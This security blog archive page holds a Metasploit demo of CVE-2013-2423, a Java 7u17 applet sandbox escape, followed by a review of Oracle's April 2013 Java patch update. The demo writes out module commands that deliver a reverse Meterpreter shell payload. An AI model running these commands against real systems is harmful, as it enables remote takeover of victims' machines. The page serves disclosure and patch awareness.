Tag Archives: CVE-2013-2423

CVE-2013-2423 – Java 7u17 Applet Reflection Type Confusion RCE Metasploit Demo

Exploits, Metasploit, , , , ,

Timeline :

Vulnerability discovered and reported to vendor by Jeroen Frijters
Vulnerability corrected in April CPU the 2013-04-16
Vulnerability publicly disclosed by Jeroen Frijters the 2013-04-17
Metasploit PoC provided the 2013-04-20

PoC provided by :

Jeroen Frijters
juan vazquez

Reference(s) :

Oracle Java April 2013 CPU
CVE-2013-2423
OSVDB-92348
BID-59162

Affected version(s) :

JDK and JRE 7 Update 17 and earlier

Tested on Windows XP Pro SP3 with :

JDK and JRE 7 Update 17

Description :

This module abuses Java Reflection to generate a Type Confusion, due to a weak access control when setting final fields on static classes, and run code outside of the Java Sandbox. The vulnerability affects Java version 7u17 and earlier. This exploit doesn’t bypass click-to-play, so the user must accept the java warning in order to run the malicious applet.

Commands :

use exploit/multi/browser/java_jre17_reflection_types
set SRVHOST 192.168.178.36
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.36
exploit

getuid
sysinfo

Oracle Java Critical Patch Update April 2013 Review

Vulnerability Management, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ,

Oracle has provide his Java Critical Patch Update (CPU) for April 2013 who has been released on Tuesday, April 16. On the 42 security vulnerabilities fixed in this CPU, 39 of them may be remotely exploitable. The highest CVSS Base Score for vulnerabilities in this CPU is 10.0.

This update fix the vulnerabilities exploited by James Forshaw (tyranid), Joshua J. Drake and VUPEN Security during Pwn20wn 2013. But this update is also fixing vulnerabilities reported by Adam Gowdiak of Security Explorations and other security researchers.

As you may know Oracle is using CVSS 2.0 (Common Vulnerability Scoring System) in order to score the reported vulnerabilities. But as you also may know security researchers disagree with the usage of CVSS by Oracle. Oracle play with CVSS score by creating a “Partial+” impact rating how don’t exist in CVSS 2.0, and by interpreting the “Complete” rating in a different way than defined in CVSS 2.0.

Affected products are:

  • JDK and JRE 7 Update 17 and earlier
  • JDK and JRE 6 Update 43 and earlier
  • JDK and JRE 5.0 Update 41 and earlier
  • JavaFX 2.2.7 and earlier

Proposed updates are:

  • JDK and JRE 7 Update 21
  • JDK and JRE 6 Update 45
  • JDK and JRE 5.0 Update 43
  • JavaFX 2.2.21

19 (45,24%) of the vulnerabilities have a CVSS base score of 10.0, 28 (66,67%) of the vulnerabilities have a high CVSS base score (CVSS => 7.0), 13 (30,95%) of the vulnerabilities have a medium CVSS base score (CVSS >= 4.0 < 7.0) and 1 (2,38%) of the vulnerabilities has a low CVSS base score (CVSS < 4.0). Also 25 (59,52%) of the vulnerabilities affects Java SE 6 and 42 (100%) of the vulnerabilities are affecting Java SE 7.

Also some modifications have been done in the Security Levels provided by Oracle. Previously five levels were existing (Very-High, High, Medium, Low and Custom), in the new provided version only three levels are still existing (Very-High, High and Medium).

Oracle-Java-Update-21-Security-Levels

 

But, there is always a but with Oracle, they don’t seem to have enable, by default, the check for revocation using Certificate Revocation Lists (CRLs) despite that some bad guys are using valid stollen and revoked certificates to sign malware’s.

Oracle-Java-Update-21-CRLs-Checks

So we advise you to update asap, enable the CRL check, if you still have Oracle Java plug-in installed !